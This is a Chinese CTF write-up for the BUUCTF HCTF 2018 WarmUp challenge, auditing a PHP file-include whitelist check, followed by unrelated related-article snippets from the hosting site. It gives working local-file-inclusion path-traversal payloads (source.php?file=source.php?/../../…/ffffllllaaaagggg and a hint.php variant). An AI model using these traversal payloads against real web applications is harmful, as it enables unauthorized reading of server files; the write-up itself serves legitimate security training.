3.[BUUCTF HCTF 2018]WarmUp1

1.看题目提示分析题目内容

盲猜一波~ : 是关于PHP代码审计的

2.打开链接,分析题目

给你提示了我们访问source.php来看一下

大boss出现,开始详细手撕~

3.手撕PHP代码(代码审计)

本人是小白,所以第一步,先问chatGPT的意见:

这个主要是对class  emmm类的分析,然后还有后面的三个&& 条件判断:

结合代码去理解GPT给的解释,就可以很容易形成一个思路:

重点在:

 if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

输入一个包含flag文件的文件名作为请求头,然后再检查该请求文件经过checkFile检查(是否为白名单的文件,是的话就检查通过;不是的话,检查失败,输出你亲爱的滑稽),检查成功,得到flag。

4.开始解题

有点可疑,去看一下

这有一个点,flag在ffffllllaaaagggg:记住遇到这样的,一般情况下这个文件存储在linux服务器的根目录下,需要去获得其内容。

../../../../../../../../../../ffffllllaaaagggg
(../那么多是为了确保能够返回根目录)

大概意思是source.php文件检查之后,请求文件会被替换成../../../../../../../ffffllllaaaagggg,作为路径遍历攻击。

EXP

在source.ph 文件中,为file进行赋值,赋值内容为whitelist的内容,再被替换成我们的路径遍历攻击,夺旗成功。

因为whiteList中有两个已知的白名单文件:source.php & hint.php

所以有两个解法:

source.php?file=source.php?/../../../../../../../../../ffffllllaaaagggg
source.php?file=hint.php?/../../../../../../../../../ffffllllaaaagggg

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/264523.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Python 将RTF文件转为Word 、PDF、HTML

RTF也称富文本格式&#xff0c;是一种具有良好兼容性的文档格式&#xff0c;可以在不同的操作系统和应用程序之间进行交换和共享。有时出于不同项目的需求&#xff0c;我们可能需要将RTF文件转为其他格式。本文将介如何通过简单的Python代码将RTF文件转换为Word Doc/Docx、PDF、…

基于多反应堆的高并发服务器【C/C++/Reactor】(中)

在这篇文章中虽然实现了能够和多客户端建立连接&#xff0c;并且同时和多个客户端进行通信。 基于多反应堆的高并发服务器【C/C/Reactor】&#xff08;上&#xff09;-CSDN博客https://blog.csdn.net/weixin_41987016/article/details/135141316?spm1001.2014.3001.5501但是有…

XML简介 (EXtensible Markup Language)

XML简介 (EXtensible Markup Language) 可扩展标记语言 特点 XML与操作系统、编程语言的开发平台无关实现不同系统之间的数据交换 作用 数据交互配置应用程序和网站Ajax基石 XML标签 XML文档内容由一系列标签元素组成 <元素名 属性名"属性值">元素内容&l…

Echarts饼图tooltip渐变色,内部legend百分比保留整数方法

业务场景&#xff1a;1、tooltip的背景需要渐变色&#xff0c;写 html 标签&#xff0c; 2、饼图内部的百分比需要保留整数 &#xff0c;使用formatter&#xff0c; export function genChartPieOption(pieData) {const res {replaceMerge: [series,], // 解决刷新之后y轴丢失…

P1883 函数

题目链接 P1883 函数 思路 举例 题目中的 F ( x ) F(x) F(x) 看起来很复杂&#xff0c;但由于每个 f ( x ) f(x) f(x) 的二次项系数 a a a 都不是负数&#xff0c;故 F ( x ) F(x) F(x) 是一个单谷函数。直接说出结论可能有些令人难以接受&#xff0c;不妨举出两个例子…

动物分类识别教程+分类释义+界面展示

1.项目简介 动物分类教程分类释义界面展示 动物分类是生物学中的一个基础知识&#xff0c;它是对动物进行分类、命名和描述的科学方法。本教程将向您介绍动物分类的基本原则和方法&#xff0c;并提供一些常见的动物分类释义。 动物分类的基本原则 动物分类根据动物的形态、…

Linux系统中的地址映射

一. 简介 在前面的裸机开发实验 LED灯实验中 &#xff0c;其实就是操作 IMX6ULL芯片的寄存器。 Linux 驱动开发也可以操作寄存器&#xff0c;但是&#xff0c;Linux不能直接对寄存器物理地址进行读写操作&#xff0c;例如&#xff0c;寄存器 A的物理地址为 0X01010101。 裸机…

2023亚马逊云科技re:Invent用Amazon Q打造你的知识库

随着ChatGPT的问世&#xff0c;我们迎来了许多创新和变革的机会。一年一度的亚马逊云科技大会re:Invent也带来了许多前言的技术&#xff0c;其中亚马逊云科技CEO Adam Selipsky在2023亚马逊云科技re:Invent大会中重磅推出Amazon Q&#xff0c;这预示着生成式AI的又一个里程碑。…

09.list 容器

9、list 容器 功能&#xff1a; 将数据进行链式存储 链表&#xff08;list&#xff09;是一种物理存储单元上非连续的存储结构&#xff0c;数据元素的逻辑顺序是通过链表中的指针链接实现的 链表的组成&#xff1a; 链表由一系列结点组成 结点的组成&#xff1a; 一个是存…

Canal使用详解

Canal介绍 Canal是阿里巴巴开发的MySQL binlog增量订阅&消费组件&#xff0c;Canal是基于MySQL二进制日志的高性能数据同步系统。在阿里巴巴集团中被广泛使用&#xff0c;以提供可靠的低延迟增量数据管道。Canal Server能够解析MySQL Binlog并订阅数据更改&#xff0c;而C…

【redis笔记】

Redis简介 安装步骤 Redis存储的是key-value结构的数据&#xff0c;其中key是字符串类型&#xff0c;value有5种常用的数据类型&#xff1a; 字符串string ​ 哈希hash 适合存储对象 列表list 按照插入顺序排序&#xff0c;可以有重复元素 集合set 无序集合&#xff0c;没…

[Android]CheckBox复选框

在Android开发中&#xff0c;复选框&#xff08;CheckBox&#xff09;是一种常用的控件&#xff0c;用于让用户在多个选项中进行选择。它通常用于表单中&#xff0c;让用户选择多个选项或者进行多项操作。在本篇博客中&#xff0c;我们将介绍如何在Android应用中使用CheckBox控…

Android MVI架构之UI状态的持有与保存

Android MVI架构之UI状态的持有与保存 我们将介绍状态持有者和其他与 UI 层相关的主题&#xff0c;例如在 Android 上提升状态和保存 UI 状态的位置。 状态持有者 状态持有者通过处理逻辑和/或公开 UI 状态来简化 UI。在本节中&#xff0c;我们将看到如何实现状态持有者以及…

Linux安装idea

目录 1.下载网址 2.解压安装 2.1新建idea安装路径 2.2解压压缩包到指定目录 2.3运行idea 3.下载Java环境 3.1命令行下载方式&#xff08;建议自行下载较新版本一步到位&#xff09; 3.2查看java版本 3.3版本不满意卸载当前jdk 3.4从官网下载较新的deb包进行下载 3.5解…

PyQt5设计一个简单的抽奖系统

PyQt5抽奖系统 程序运行截图 抽奖系统代码 该系统使用PyQt5模块以及openpyxl模块开发&#xff0c;需要使用pip安装导入PyQt5模块和openpyxl模块 import random, sys from PyQt5.QtWidgets import QWidget, QFormLayout, QLineEdit, QVBoxLayout, QApplication, QPushButton,…

Mysql 数据库APi 编程(c/c++)-1.0

MySQL数据库API库 访问MySQL服务器&#xff0c;这需要使用mysqlclient库&#xff0c;MySQL的大多数客户端API&#xff08;除Java和.NET&#xff09;都是通过这个库来和MySQL服务器通讯的&#xff0c;而这个库正是使用C语言编写的。 可使用mysql -V 命令查看当前系统内所使用的…

C# Onnx yolov8n csgo player detection

目录 效果 模型信息 项目 代码 下载 C# Onnx yolov8n csgo player detection 效果 模型信息 Model Properties ------------------------- date&#xff1a;2023-12-22T15:01:08.014205 author&#xff1a;Ultralytics task&#xff1a;detect license&#xff1a;AGPL-…

从0到1部署gitlab自动打包部署项目

本文重点在于配置ci/cd打包 使用的是docker desktop 第一步安装docker desktop Docker简介 Docker 就像一个盒子&#xff0c;里面可以装很多物件&#xff0c;如果需要某些物件&#xff0c;可以直接将该盒子拿走&#xff0c;而不需要从该盒子中一件一件的取。Docker中文社区、…

集合论:二元关系(1)

集合论这一章内容很多&#xff0c;重点是二元关系中关系矩阵&#xff0c;关系图和关系性质:自反、反自反、对称、反对称、传递以及关系闭包的运算&#xff0c;等价关系&#xff0c;偏序关系&#xff0c;哈斯图&#xff0c;真吓人&#xff01; 1.笛卡儿积 由两个元素x和y按照一…

Opencv计算机视觉的分类

传统的计算机视觉可以使用Opencv等Python库&#xff0c;对图像进行简单的操作&#xff0c;例如对图像缩放、滤波、阈值分割等等。对于计算机来说&#xff0c;一张彩色图片就是一个三通道的矩阵&#xff0c;分别对应红绿蓝&#xff08;RGB&#xff09;三种颜色&#xff0c;通过改…